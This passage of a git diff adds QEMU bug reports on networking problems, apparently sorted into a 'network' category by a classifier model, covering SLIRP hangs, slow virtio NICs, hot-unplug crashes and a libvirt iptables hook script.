secondary_startup_64_no_verify+0xc2/0xcb +[ 310.792501] </TASK> +``` + +``` +[ 435.511342] BUG: workqueue lockup - pool cpus=1 node=0 flags=0x0 nice=0 stuck for 30s! +[ 435.511374] Showing busy workqueues and worker pools: +[ 435.511377] workqueue events: flags=0x0 +[ 435.511380] pwq 0: cpus=0 node=0 flags=0x0 nice=0 active=1/256 refcnt=2 +[ 435.511385] pending: vmstat_shepherd +[ 435.511395] workqueue events_power_efficient: flags=0x80 +[ 435.511398] pwq 0: cpus=0 node=0 flags=0x0 nice=0 active=2/256 refcnt=3 +[ 435.511402] pending: neigh_periodic_work, neigh_periodic_work +[ 435.511411] workqueue events_freezable_power_: flags=0x84 +[ 435.511414] pwq 2: cpus=1 node=0 flags=0x0 nice=0 active=1/256 refcnt=2 +[ 435.511417] in-flight: 4783:disk_events_workfn +[ 435.511425] workqueue mm_percpu_wq: flags=0x8 +[ 435.511428] pwq 0: cpus=0 node=0 flags=0x0 nice=0 active=1/256 refcnt=2 +[ 435.511431] pending: vmstat_update +[ 435.511440] workqueue writeback: flags=0x4a +[ 435.511443] pwq 4: cpus=0-1 flags=0x4 nice=0 active=1/256 refcnt=3 +[ 435.511447] pending: wb_workfn +[ 435.511453] workqueue kblockd: flags=0x18 +[ 435.511455] pwq 3: cpus=1 node=0 flags=0x0 nice=-20 active=3/256 refcnt=4 +[ 435.511459] pending: blk_mq_timeout_work, blk_mq_timeout_work, blk_mq_timeout_work +[ 435.511475] workqueue ata_sff: flags=0x8 +[ 435.511479] pwq 2: cpus=1 node=0 flags=0x0 nice=0 active=1/512 refcnt=2 +[ 435.511482] pending: ata_sff_pio_task [libata] +[ 435.511538] pool 2: cpus=1 node=0 flags=0x0 nice=0 hung=30s workers=3 idle: 349 51 +``` + +</details> + +It looks like the problem mostly appears if SSH is being used over a "user" network connection. A typical situation is when editing a file in Vim (compiled with X support) via SSH and using the X clipboard (`"+y"`). But the problem also happens in other situations with SSH, e. g. when using SSHFS. +The type of NIC doesn't seem to make a difference (tested `virtio` and `e1000`). But "tap" network connections don't show a problem. + + diff --git a/results/classifier/gemma3:12b/network/1158912 b/results/classifier/gemma3:12b/network/1158912 new file mode 100644 index 000000000..f3c620aa0 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1158912 @@ -0,0 +1,47 @@ + +QEMU Version 1.4.0 - SLIRP hangs VM + +(Note: problem is not present in version 1.3.0) + +Stacktrace: please see attached gdb log file. + +Steps to reproduce: + +1. gdb -x debug-qemu.gdb testing/qemu-1.4.0/ppc64-softmmu/qemu-system-ppc64 + +Contents of debug-qemu.gdb: + +run -L ./testing/qemu-1.4.0/pc-bios -name "[DEBUG] Software und System-Entwicklung IBM POWER7" -cpu POWER7_v2.3 -M pseries -m 1024 -rtc base=utc -nodefaults -vga std -monitor vc -serial vc -netdev type=user,id=mynet0,hostfwd=tcp:127.0.0.1:9011-10.0.2.11:22 -device virtio-net-pci,netdev=mynet0 -drive file=images/suse-ppc.img,if=virtio,index=0,media=disk,cache=unsafe -kernel images/iso/suseboot/vmlinux -append "root=/dev/mapper/system-root ro audit=0 selinux=0 apparmor=0" -initrd images/iso/suseboot/initrd.img -drive if=scsi,bus=0,unit=0,media=cdrom + + +2. build information + QEMU: ppc64 full emulation, version 1.4.0 + Host OS: Windows XP + Guest OS: openSUSE 12.2 kernel 3.4.6-2.10-ppc64 + + PATH=/usr/i686-pc-mingw32/sys-root/mingw/bin:$PATH + PKG_CONFIG_LIBDIR=/usr/i686-pc-mingw32/sys-root/mingw/lib/pkgconfig + THREADS=4 + export PKG_CONFIG_LIBDIR + + sed -i 's/--static-libs/--static --libs/' configure + CC=i686-pc-mingw32-gcc ./configure \ + --target-list=ppc64-softmmu \ + --enable-debug \ + --enable-sdl \ + --static \ + --enable-fdt && \ + sed -i 's/ -Wl,--dynamicbase//g; s/-Wl,--nxcompat //g;' config-host.mak && \ + make -j$THREADS && { + echo "renaming binw.exe to bin.exe..." + for i in `echo $TARGET_LIST | tr ',' ' '`; do + BINARCH=`echo $i | sed 's/-softmmu//'` + mv $i/qemu-system-${BINARCH}w.exe \ + $i/qemu-system-$BINARCH.exe + done + } + + +3. From VM: + Command to hang VM: zypper dup + Last message before VM hang: Retrieving repository 'openSUSE-12.2-12.2-0' metadata -----------------------[|] \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1173490 b/results/classifier/gemma3:12b/network/1173490 new file mode 100644 index 000000000..5ea58f0dd --- /dev/null +++ b/results/classifier/gemma3:12b/network/1173490 @@ -0,0 +1,21 @@ + +virtio net adapter driver with kvm slow on winxp + +# lsb_release -a +No LSB modules are available. +Distributor ID: Ubuntu +Description: Ubuntu 12.04.1 LTS +Release: 12.04 +Codename: precise + +#virsh version +Compiled against library: libvirt 1.0.4 +Using library: libvirt 1.0.4 +Using API: QEMU 1.0.4 +Running hypervisor: QEMU 1.2.0 + +windows xp clean install with spice-guest-tools-0.52.exe from + http://spice-space.org/download/windows/spice-guest-tools/spice-guest-tools-0.52.exe + +it comes very slow , and the Interrupts process got very high cpu usage(above 60%). +when i switch the net adapter from virtio to default(rtl8139) ,it works well. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1176366 b/results/classifier/gemma3:12b/network/1176366 new file mode 100644 index 000000000..97b1c7ed7 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1176366 @@ -0,0 +1,6 @@ + +TCPIP not working on qemu 1.4.50 (master) + +whenever I try, in the guest OS, in this case it's NT 3.1, to enable TCP/IP, it crashes the whole emulator. With either the ne2000 isa, ne2000 pci or PCnet, still crashes + +below is attached a screenshot. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1179731 b/results/classifier/gemma3:12b/network/1179731 new file mode 100644 index 000000000..795fe7c2c --- /dev/null +++ b/results/classifier/gemma3:12b/network/1179731 @@ -0,0 +1,4 @@ + +is networking broken on windows hosts? + +just wondering as i just compiled the latest git and qemu goes into none responding mode when i try to do any networking stuff on guests (both linux and windows) \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1180777 b/results/classifier/gemma3:12b/network/1180777 new file mode 100644 index 000000000..829ba378a --- /dev/null +++ b/results/classifier/gemma3:12b/network/1180777 @@ -0,0 +1,47 @@ + +RDP traffic freeze on quiet network + +Hi, + +I recently started using KVM over VirtualBox for my Office needs. I setup a Windows 7 VM on KVM and started using it through remote desktop. + +What happens is that, after some hours of usage, the remote desktop connection freezes. I thought it was a remmina bug, as the it was enough to kill and restart it to successfully connect again to the VM. + +However, today I've switched to a different RDP client (2X Client chromium app) and the freeze just happened again! + +Some information: +- the host and the VM are completely idle when the freeze occurs +- I've tried sniffing the network packets toward the RDP port during the freeze and found that the client is sending packets but no packet is sent back + + +Could this be a KVM issue? How can I further debug this one (I expect the freeze to happen again...)? + +ProblemType: Bug +DistroRelease: Ubuntu 12.04 +Package: kvm 1:84+dfsg-0ubuntu16+1.0+noroms+0ubuntu14.8 +ProcVersionSignature: Ubuntu 3.2.0-41.66-generic 3.2.42 +Uname: Linux 3.2.0-41-generic x86_64 +ApportVersion: 2.0.1-0ubuntu17.2 +Architecture: amd64 +Date: Thu May 16 14:12:40 2013 +MachineType: Hewlett-Packard HP ProBook 4520s +MarkForUpload: True +ProcEnviron: + TERM=xterm + PATH=(custom, no user) + LANG=en_US.UTF-8 + SHELL=/bin/bash +ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-3.2.0-41-generic root=UUID=D2E20BC3E20BAAB5 loop=/hostname/disks/root.disk ro quiet splash vt.handoff=7 +SourcePackage: qemu-kvm +UpgradeStatus: No upgrade log present (probably fresh install) +dmi.bios.date: 08/26/2010 +dmi.bios.vendor: Hewlett-Packard +dmi.bios.version: 68AZZ Ver. F.0A +dmi.board.name: 1411 +dmi.board.vendor: Hewlett-Packard +dmi.board.version: KBC Version 57.30 +dmi.chassis.type: 10 +dmi.chassis.vendor: Hewlett-Packard +dmi.modalias: dmi:bvnHewlett-Packard:bvr68AZZVer.F.0A:bd08/26/2010:svnHewlett-Packard:pnHPProBook4520s:pvr:rvnHewlett-Packard:rn1411:rvrKBCVersion57.30:cvnHewlett-Packard:ct10:cvr: +dmi.product.name: HP ProBook 4520s +dmi.sys.vendor: Hewlett-Packard \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1185311 b/results/classifier/gemma3:12b/network/1185311 new file mode 100644 index 000000000..2734588f4 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1185311 @@ -0,0 +1,27 @@ + +could not hot-remove disabled NIC from Win2012 guest by 'devel_del id1' + +# qemu-latest-upstream -mon chardev=qmp,mode=control,pretty=on \ + -chardev socket,id=qmp,host=localhost,port=1234,server,nowait -vnc :0 \ + -monitor stdio /images/win2012-64-virtio.qcow2 \ + -device virtio-net-pci,netdev=ndev1,id=id1 -netdev tap,id=ndev1 \ + -device e1000,netdev=ndev2,id=id2 -netdev tap,id=ndev2 \ + -device rtl8139,netdev=ndev3,id=id3 -netdev tap,id=ndev3 \ + -smp 4 -m 3000 -usbdevice tablet + +If disable nic in guest's "Network Connections" panel, nic could not be hot-removed through qemu monitor. + +1) if disable nic in guest +(qemu) devel_del id1 (nic still in "Network Connections". if enable nic, nic can work) +(qemu) devel_del id1 +(qemu) devel_del id1 + +2) if enable nic in guest +(qemu) devel_del id1 (nic will be removed, disappear from "Network Connections") +(qemu) devel_del id1 +Device 'id1' not found + +Could not reproduced this problem with all linux guests & other Windows guests +Problem exists with virtio-nic/e1000/rtl8139, it seems the problem of pci-hotplug in piix4. + +Could not reproduce this problem with Vmware + win2012 guest. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1187334 b/results/classifier/gemma3:12b/network/1187334 new file mode 100644 index 000000000..7261ff97b --- /dev/null +++ b/results/classifier/gemma3:12b/network/1187334 @@ -0,0 +1,9 @@ + +crash on hot-unplug of vmxnet3 + +Hot-unplug of a vmxnet3 device crashes as follows: + +(qemu) device_add id=ff,driver=vmxnet3 +[vmxnet3][WR][vmxnet3_peer_has_vnet_hdr]: Peer has no virtio extension. Task offloads will be emulated. +(qemu) device_del ff +(qemu) qemu-system-x86_64: /home/pbonzini/work/upstream/qemu/net/net.c:315: qemu_del_net_client: Assertion `queues != 0' failed. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1189 b/results/classifier/gemma3:12b/network/1189 new file mode 100644 index 000000000..9e4b47479 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1189 @@ -0,0 +1,2 @@ + +Cannot Resolve Names When Host Is Running Systemd-Resolved diff --git a/results/classifier/gemma3:12b/network/1192464 b/results/classifier/gemma3:12b/network/1192464 new file mode 100644 index 000000000..4b5a70a36 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1192464 @@ -0,0 +1,6 @@ + +udp checksum computed as 0 not converted to 0xffff, from guest os that share a common linux bridge among multiple guest os + +UDP checksum computed as '0' during transmission of packets that uses e1000 NIC in the Guest as well as emulated h/w in the qemu layer, That needs to be converted to 0xffff, This occurs only when Hardware checksum offload is been set in the guest OS NIC and made it as a transmitter. The guest O.S use the N/W interface that is been shared to the linux brige created in the host (used source=<bridge>) in the xml tags of libvirt. + +As per RFC768(http://tools.ietf.org/html/rfc768 [^]), If the computed checksum is zero, it is transmitted as all ones (the equivalent in one's complement arithmetic). An all zero transmitted checksum value means that the transmitter generated no checksum (for debugging or for higher level protocols that don't care). \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1192499 b/results/classifier/gemma3:12b/network/1192499 new file mode 100644 index 000000000..0a331288b --- /dev/null +++ b/results/classifier/gemma3:12b/network/1192499 @@ -0,0 +1,103 @@ + +virsh migration copy-storage-all fails with "Unable to read from monitor: Connection reset by peer" + +virsh migration copy-storage-all fails with "Unable to read from monitor: Connection reset by peer" and shut downs the guest on the source host. + +Kernel Version: 3.10.0-rc5+ + +Libvirt Version: 1.0.6 + +Qemu Version: 1.5.50 + +Steps to reproduce the issue: +---------------------------------------- +1. Created the qemu-img create -f qcow2 vm.qcow2 11G on the destination host which is same as the source. +2. Started the guest on the source +3. Started the vncdisplay to monitor the guest +4. Initiated the migration "virsh migrate --live VM1 qemu+ssh://host-ip/system tcp://host-ip --verbose --copy-storage-all" +5. It started the copying the storage from souce to destination (conitinously monitored it was growing) +6. Guest on the destination was paused and was running on the source +7. At some point the VM on the source got shutdown and migration failed with "Unable to read from monitor: Connection reset by peer" + +Attached the libvirt debug logs. + +The debug logs shows : + +2013-06-19 08:43:12.253+0000: 4026: debug : virEventPollInterruptLocked:716 : Interrupting +2013-06-19 08:43:12.253+0000: 4026: debug : virEventPollAddTimeout:248 : EVENT_POLL_ADD_TIMEOUT: timer=1 frequency=0 cb=0x7fe930baa960 opaque=(nil) ff=(nil) + +Note: The virsh live migration works fine with nfs storage from source to destination and vice versa. +With libvirt 1.0.5 and qemu 1.5 also we were facing the same issue, but with that even "Live migration with nfs also was not working". + +Guest XML: +---------------- + +<domain type='kvm'> + <name>VM1</name> + <uuid>47feb0e1-0c23-9be9-da12-2ead34864de2</uuid> + <memory unit='KiB'>4096000</memory> + <currentMemory unit='KiB'>2048000</currentMemory> + <vcpu placement='auto'>1</vcpu> + <numatune> + <memory mode='strict' nodeset='0'/> + </numatune> + <os> + <type arch='x86_64' machine='pc-i440fx-1.5'>hvm</type> + <boot dev='hd'/> + </os> + <features> + <acpi/> + <apic/> + <pae/> + </features> + <clock offset='utc'/> + <on_poweroff>destroy</on_poweroff> + <on_reboot>restart</on_reboot> + <on_crash>restart</on_crash> + <devices> + <emulator>/usr/local/bin/qemu-system-x86_64</emulator> + <disk type='file' device='disk'> + <driver name='qemu' type='qcow2' cache='none'/> + <source file='/home/images/VM1.qcow2'/> + <target dev='hda' bus='ide'/> + <address type='drive' controller='0' bus='0' target='0' unit='0'/> + </disk> + <disk type='block' device='cdrom'> + <driver name='qemu' type='raw'/> + <target dev='hdc' bus='ide'/> + <readonly/> + <address type='drive' controller='0' bus='1' target='0' unit='0'/> + </disk> + <controller type='usb' index='0'> + <address type='pci' domain='0x0000' bus='0x00' slot='0x01' function='0x2'/> + </controller> + <controller type='ide' index='0'> + <address type='pci' domain='0x0000' bus='0x00' slot='0x01' function='0x1'/> + </controller> + <controller type='pci' index='0' model='pci-root'/> + <interface type='network'> + <mac address='52:54:00:9d:cf:bb'/> + <source network='default'/> + <model type='rtl8139'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x03' function='0x0'/> + </interface> + <serial type='pty'> + <target port='0'/> + </serial> + <console type='pty'> + <target type='serial' port='0'/> + </console> + <input type='mouse' bus='ps2'/> + <graphics type='vnc' port='-1' autoport='yes' listen='127.0.0.1'> + <listen type='address' address='127.0.0.1'/> + </graphics> + <video> + <model type='cirrus' vram='9216' heads='1'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x02' function='0x0'/> + </video> + <memballoon model='virtio'> + <address type='pci' domain='0x0000' bus='0x00' slot='0x05' function='0x0'/> + </memballoon> + </devices> + <seclabel type='none' model='selinux'/> +</domain> \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1196426 b/results/classifier/gemma3:12b/network/1196426 new file mode 100644 index 000000000..a3325db60 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1196426 @@ -0,0 +1,46 @@ + +Setup virtual serial connection for Windows VMs FAILS + +Hi, + +To setup a virtual serial connections between two Windows 2008 R2(64-bit) guest VMs, I am referring the link +http://www.linux-kvm.org/page/WindowsGuestDrivers/UpdatedGuestDebugging + +I started the host VM using the command +# /usr/local/bin/qemu-system-x86_64 -smp 1 -enable-kvm -m 512 -boot c -chardev stdio,id=mon0 -mon chardev=mon0 -serial tcp::4445,server,nowait -hda /mnt/sda5/var/lib/libvirt/images/win2008host.img + +To start a target VM, the link specifies the below command +/usr/local/bin/qemu-system-x86_64 \--enable-kvm \-m 1024 \-drive file=win-target.img \-chardev stdio,id=mon0 \-mdev=mon0 \-serial tcp:127.0.0.1:4445. + +I am using the QEMU emulator version 0.15.1 (qemu-kvm-0.15.1). The command is lil bit changed and also doesn't have -mdev option. I executed the below command. + +# /usr/local/bin/qemu-system-x86_64 -enable-kvm -smp 1 -m 512 -boot c -chardev stdio,id=mon0 -mon chardev=mon0 -serial tcp:127.0.0.1:4455 -hda /var/lib/libvirt/images/win2008target.img + +It through the error +inet_connect_opts: connect(ipv4,127.0.0.1,127.0.0.1,4455): Connection refused +chardev: opening backend "socket" failed: Connection refused +qemu: could not open serial device 'tcp:127.0.0.1:4455': Connection refused + +Please let me know if any one knows how to fix issue. + +My Linux System Info: +# cat /etc/redhat-release +Fedora release 12 (Constantine) + +# uname -a +Linux petla 2.6.31.5-127.fc12.x86_64 #1 SMP Sat Nov 7 21:11:14 EST 2009 x86_64 x86_64 x86_64 GNU/Linux + +#cat /proc/cpuinfo +processor : 0 +vendor_id : GenuineIntel +cpu family : 6 +model : 44 +model name : Intel(R) Xeon(R) CPU E5645 @ 2.40GHz + +#/usr/local/bin/qemu-system-x86_64 --version +QEMU emulator version 0.15.1 (qemu-kvm-0.15.1), Copyright (c) 2003-2008 Fabrice Bellard + +Guest VMs(host and target): Windows Server 2008 R2 (64-bit) + +Thanks in Advance +Venkatesh \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1196727 b/results/classifier/gemma3:12b/network/1196727 new file mode 100644 index 000000000..9824042c1 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1196727 @@ -0,0 +1,54 @@ + +SLIRP on Windows 7 64-bit host or is it me? + + Version: 1.5.1 and tried latest in Git, compiled for x86_64 Windows 64-bit + Host: Windows 7 64-bit + Guest: FreeBSD 9.1 i386, RHEL 6.4 x86_64, SLES 11.2 x86_64, OpenSUSE 12.3 ppc64, Fedora 18 ppc64 + libiconv: 1.14 + glib: 2.28.8 +gettext: 0.18.1.1 + pixman: 0.30.0 + libSDL: 1.2.14 + Driver: virtio-net-pci + Emu: full (non-KVM) + +I'm new to Windows 7 64-bit as a host for QEMU (previously I was running QEMU on Windows XP with no issues) so it could be me, now on Windows 7 SLIRP only works for me connecting internally from the host to the guest via SLIRP redirect, but any outbound requests from the guest to the Internet are failing with the following: + +if_start... +m_get... + m = 61f7bd40 +ip_input... + m = 61f7bd40 + m_len = 48 +tcp_input... + m = 61f7bd40 iphlen = 20 inso = 0 +tcp_fconnect... + so = 33e140 + connect()ing, addr.sin_port=80, addr.sin_addr.s_addr=206.190.36.45 + tcp fconnect errno = 10035-Unknown error +icmp_error... + msrc = 61f7bd40 + msrc_len = 48 + 10.0.2.5 to 206.190.36.45 +m_get... + m = 61f7b6c0 +ip_output... + so = 0 + m0 = 61f7b6c0 +if_output... + so = 0 + ifm = 61f7b6c0 +if_start... +arp_table_search... + ip = 0x502000a + found hw addr = 52:54:00:12:34:56 +m_free... + m = 61f7b6c0 +tcp_close... + tp = 377840 +m_free... + m = 0 +m_free... + m = 61f7bd40 + +Am I doing something wrong with my Windows host configuration or is this a bug in SLIRP only on W64 and not W32? \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1196773 b/results/classifier/gemma3:12b/network/1196773 new file mode 100644 index 000000000..7b5274cd4 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1196773 @@ -0,0 +1,12 @@ + +pci_add auto nic failed on qemu monitor + +hello! +execute "qemu-system-x86_64 -M pc -m 256 -hda pc/img.qcow2 -nographic -net nic,vlan=0,macaddr=00:e0:fc:00:00:01 -net tap,vlan=0,ifname=tap0,script=no -serial tcp::3333,server,nowait -boot c" +and then +(qemu) pci_add auto nic vlan=1,macaddr=00:e0:fc:40:20:02 +Property 'e1000.netdev' can't take value 'hub0port0', it's in use + +the qemu version is 1.4.1 + +thx! \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1228285 b/results/classifier/gemma3:12b/network/1228285 new file mode 100644 index 000000000..82f0cb2b5 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1228285 @@ -0,0 +1,30 @@ + +e1000 nic TCP performances + +Hi, + +Here is the context : + +$ qemu -name A -m 1024 -net nic vlan=0,model=e1000 -net socket,vlan=0,listen=127.0.0.1:7000 +$ qemu -name B -m 1024 -net nic vlan=0,model=e1000 -net socket,vlan=0,connect=127.0.0.1:7000 + +The bandwidth is really tiny : + + . Iperf3 reports about 30 Mb/sec + . NetPerf reports about 50 Mb/sec + + +With UDP sockets, there is no problem at all : + + . Iperf3 reports about 1 Gb/sec + . NetPerf reports about 950 Mb/sec + + +I've noticed this fact only with the e1000 NIC, not with others (rtl8139,virtio, etc.) +I've used the main GIT version of QEMU. + + +Thanks in advance. + +See you, +VInce \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1246990 b/results/classifier/gemma3:12b/network/1246990 new file mode 100644 index 000000000..74f73798a --- /dev/null +++ b/results/classifier/gemma3:12b/network/1246990 @@ -0,0 +1,39 @@ + +[qemu-x86-64-linux-user 1.6.1] qemu: uncaught target signal 11 (Segmentation fault) - core dumped + +Rjsupplicant is an authentication client of Campus Network in most universities in China. Its Linux version has only x86 and amd64 version. + +On linux: + +./qemu-x86_64 is compiled from latest qemu 1.6.1, with ./configure options: --enable-debug --target-list=x86_64-linux-user . Compiler is gcc version 4.7.3 (Debian 4.7.3-4) + +$ sudo ./qemu-x86_64 ./rjsupplicant -n eth0 -u USER -p PASS -d 1 -s internet +qemu: uncaught target signal 11 (Segmentation fault) - core dumped + +$ sudo gdb ./qemu-x86_64 +(gdb) r ./rjsupplicant -n eth0 -u USER -p PASS -d 1 -s internet +(gdb) where +#0 0x00005555559c21bd in static_code_gen_buffer () +#1 0x00005555555b74d5 in cpu_tb_exec (cpu=0x555557972580, tb_ptr=0x5555559c2190 <static_code_gen_buffer+819792> "A\213n\250\205\355\017\205\257") + at /home/USER/x/rjsupplicant/x64/qemu-1.6.1/cpu-exec.c:56 +#2 0x00005555555b817d in cpu_x86_exec (env=0x5555579726b0) at /home/USER/x/rjsupplicant/x64/qemu-1.6.1/cpu-exec.c:631 +#3 0x00005555555d997a in cpu_loop (env=0x5555579726b0) at /home/USER/x/rjsupplicant/x64/qemu-1.6.1/linux-user/main.c:283 +#4 0x00005555555eca6b in clone_func (arg=0x7fffffffc1d0) at /home/USER/x/rjsupplicant/x64/qemu-1.6.1/linux-user/syscall.c:4266 +#5 0x00007ffff71bfe0e in start_thread (arg=0x7ffff7f04700) at pthread_create.c:311 +#6 0x00007ffff6ef493d in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:113 + +$ file rjsupplicant +rjsupplicant: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.9, not stripped + +$ uname -r +3.10-2-amd64 + + +And it can be run on Linux amd64 successfully. + +Though I don't have the source code of rjsupplicant, so I don't have further information. + +`qemu-x86_64 -strace ./rjsupplicant -n eth0 -u USER -p PASS -d 1 -s internet` is attached as strace_qemu.log + + +The binary is available to download at http://ge.tt/6pgG1tw/v/0 \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1261450 b/results/classifier/gemma3:12b/network/1261450 new file mode 100644 index 000000000..eeecd1daa --- /dev/null +++ b/results/classifier/gemma3:12b/network/1261450 @@ -0,0 +1,80 @@ + +libvirtd reload and hooks problem routed-net + +if we do a reload of libvirt, some iptables rules, which are created through /etc/libvirt/hooks/qemu are not working anymore. +Every time a other (one or two,thee) vm is affected. + + +our qemu file: + +#!/bin/bash + + +do_net() { + local status=$2 + local ip=$3 + local in=$4 + local out=$5 + + if [[ ! $status || ! $ip || ! $in || ! $out ]]; then + echo "Not all parameters were passed!" + exit 1 + fi + + if [ "$status" = "stopped" -o "$status" = "reconnect" ]; then + ip route del $ip via 191.255.255.1 dev $out + ip neigh del proxy $ip dev $in + iptables -D FORWARD -i $in -o $out -s 0.0.0.0/0 -d $ip/32 -j ACCEPT + iptables -D FORWARD -i $out -o $in -s $ip/32 -d 0.0.0.0/0 -j ACCEPT + fi + + if [ "$status" = "start" -o "$status" = "reconnect" ]; then + ip route add $ip via 191.255.255.1 dev $out + ip neigh add proxy $ip dev $in + iptables -I FORWARD 4 -i $in -o $out -s 0.0.0.0/0 -d $ip/32 -j ACCEPT + iptables -I FORWARD 4 -i $out -o $in -s $ip/32 -d 0.0.0.0/0 -j ACCEPT + fi +} + +CONF=//etc/libvirt/hooks/vms/* +for file in $CONF +do + guest_ipaddr="" + guest_name="" + type="" + destination="0.0.0.0/0" + + while read line; do + eval $line + done < $file + guest_ipaddrnet=$guest_ipaddr"/32" + for dest in ${destination} + do + if [ "${1}" = "${guest_name}" ]; then + echo "SRC-IP="$guest_ipaddr " " $guest_ipaddrnet " VM="$guest_name " Dest="$dest + if [ "${2}" = "stopped" ]; then + ip route del $guest_ipaddr via 191.255.255.1 dev virbr1 + ip neigh del proxy $guest_ipaddr dev bond0 + iptables -D FORWARD -i bond0 -o virbr1 -s $dest -d $guest_ipaddrnet -j ACCEPT + iptables -D FORWARD -i virbr1 -o bond0 -s $guest_ipaddrnet -d $dest -j ACCEPT + fi + if [ "${2}" = "start" ]; then + ip route add $guest_ipaddr via 191.255.255.1 dev virbr1 + ip neigh add proxy $guest_ipaddr dev bond0 + iptables -I FORWARD 4 -i bond0 -o virbr1 -s $dest -d $guest_ipaddrnet -j ACCEPT + iptables -I FORWARD 4 -i virbr1 -o bond0 -s $guest_ipaddrnet -d $dest -j ACCEPT + fi + if [ "${2}" = "reconnect" ]; then + ip route del $guest_ipaddr via 191.255.255.1 dev virbr1 + ip neigh del proxy $guest_ipaddr dev bond0 + iptables -D FORWARD -i bond0 -o virbr1 -s $dest -d $guest_ipaddrnet -j ACCEPT + iptables -D FORWARD -i virbr1 -o bond0 -s $guest_ipaddrnet -d $dest -j ACCEPT + sleep 1 + ip route add $guest_ipaddr via 191.255.255.1 dev virbr1 + ip neigh add proxy $guest_ipaddr dev bond0 + iptables -I FORWARD 4 -i bond0 -o virbr1 -s $dest -d $guest_ipaddrnet -j ACCEPT + iptables -I FORWARD 4 -i virbr1 -o bond0 -s $guest_ipaddrnet -d $dest -j ACCEPT + fi + fi + done +done \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/127 b/results/classifier/gemma3:12b/network/127 new file mode 100644 index 000000000..d3d066001 --- /dev/null +++ b/results/classifier/gemma3:12b/network/127 @@ -0,0 +1,2 @@ + +linux-user missing cmsg IP_PKTINFO support ("Unsupported ancillary data: 0/8") diff --git a/results/classifier/gemma3:12b/network/1279 b/results/classifier/gemma3:12b/network/1279 new file mode 100644 index 000000000..4cde59a42 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1279 @@ -0,0 +1,9 @@ + +please assist resolving windows networking issue +Description of problem: +After Installation of Windows, for Intel E1000 , Realtek and VirtIO, Windows shows "Error Code 56: Windows is Still Setting Up the Class Configuration For This Device" in device manager and Network won't work +Steps to reproduce: +Install Windows 10 VM on Proxmox 7.2 with virtual hardware Version 6.1 +You get the error code above. When using virtio nic , during installation of the kvm-qemu-virtio driver/agent package, the installer get's stuck and finally fails. + +If you downgrade to virtual hardware 5.1 , the problem goes away. diff --git a/results/classifier/gemma3:12b/network/1284874 b/results/classifier/gemma3:12b/network/1284874 new file mode 100644 index 000000000..480cd0b64 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1284874 @@ -0,0 +1,31 @@ + +Guest hangs during option rom loading with certain cards + +With a Broadcom Corporation NetXtreme II BCM57810 10 Gigabit Ethernet card, device assignment does not work. The guest hangs during option rom execution. Moreover, if an attempt is made to quit qemu when the guest is in the hung state, the card gets into an inoperable state. Only a powercycle then, restores the card back into working order, just unloading/loading the driver does not help. + +Qemu version - 1.6.2 or current master +Distribution - FC19 +Kernel Version - 3.12.9-201.fc19.x86_64 + +Details of the card - + # ethtool -i p2p2 +driver: bnx2x +version: 1.78.17-0 +firmware-version: bc 7.8.22 +bus-info: 0000:08:00.1 +supports-statistics: yes +supports-test: yes +supports-eeprom-access: yes +supports-register-dump: yes +supports-priv-flags: yes + +The output of lspci when the card is broken - +03:00.0 Ethernet controller: Broadcom Corporation NetXtreme II BCM57810 10 Gigabit Ethernet (rev ff) (prog-if ff) + !!! Unknown header type 7f + Kernel driver in use: bnx2x +00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff +10: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff +20: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff +30: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff + +I will post if I get a chance to try out a newer than 7.8.22 for the option rom and see if this issue is fixed. However it appears we need to have a unified approach to automatically avoid loading the rom based on certain criteria. Manually, looking out for fixes to firmware and hard coding decisions based on those is neither desirable nor easy to maintain. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1286 b/results/classifier/gemma3:12b/network/1286 new file mode 100644 index 000000000..8ca85de61 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1286 @@ -0,0 +1,2 @@ + +netdev tftp option docs don't mention that the TFTP server is read-only diff --git a/results/classifier/gemma3:12b/network/1286253 b/results/classifier/gemma3:12b/network/1286253 new file mode 100644 index 000000000..f6f583b9b --- /dev/null +++ b/results/classifier/gemma3:12b/network/1286253 @@ -0,0 +1,12 @@ + +virtio-net acceleration features not set when plugged into backend dynamically + +When using indpendent transport and backend in this case virtio-net-device transport, none of the acceleration features are set after guest probes the transport the backend is plugged into. For virtio-net this leads to low throughput/performance. This holds true for virtio-mmio, PCI transports and most likely for others as well (CCW, S390) and other backends + +Command to run: +./qemu-system-arm -enable-kvm -smp 2 -kernel zImage -dtb ./guest-a15.dtb -m 512 -M vexpress-a15 -cpu cortex-a15 -nographic \ + -append "root=/dev/vda rw console=ttyAMA0 rootwait" -drive if=none,file=/mnt/gauss.root,id=vm1 \ + -device 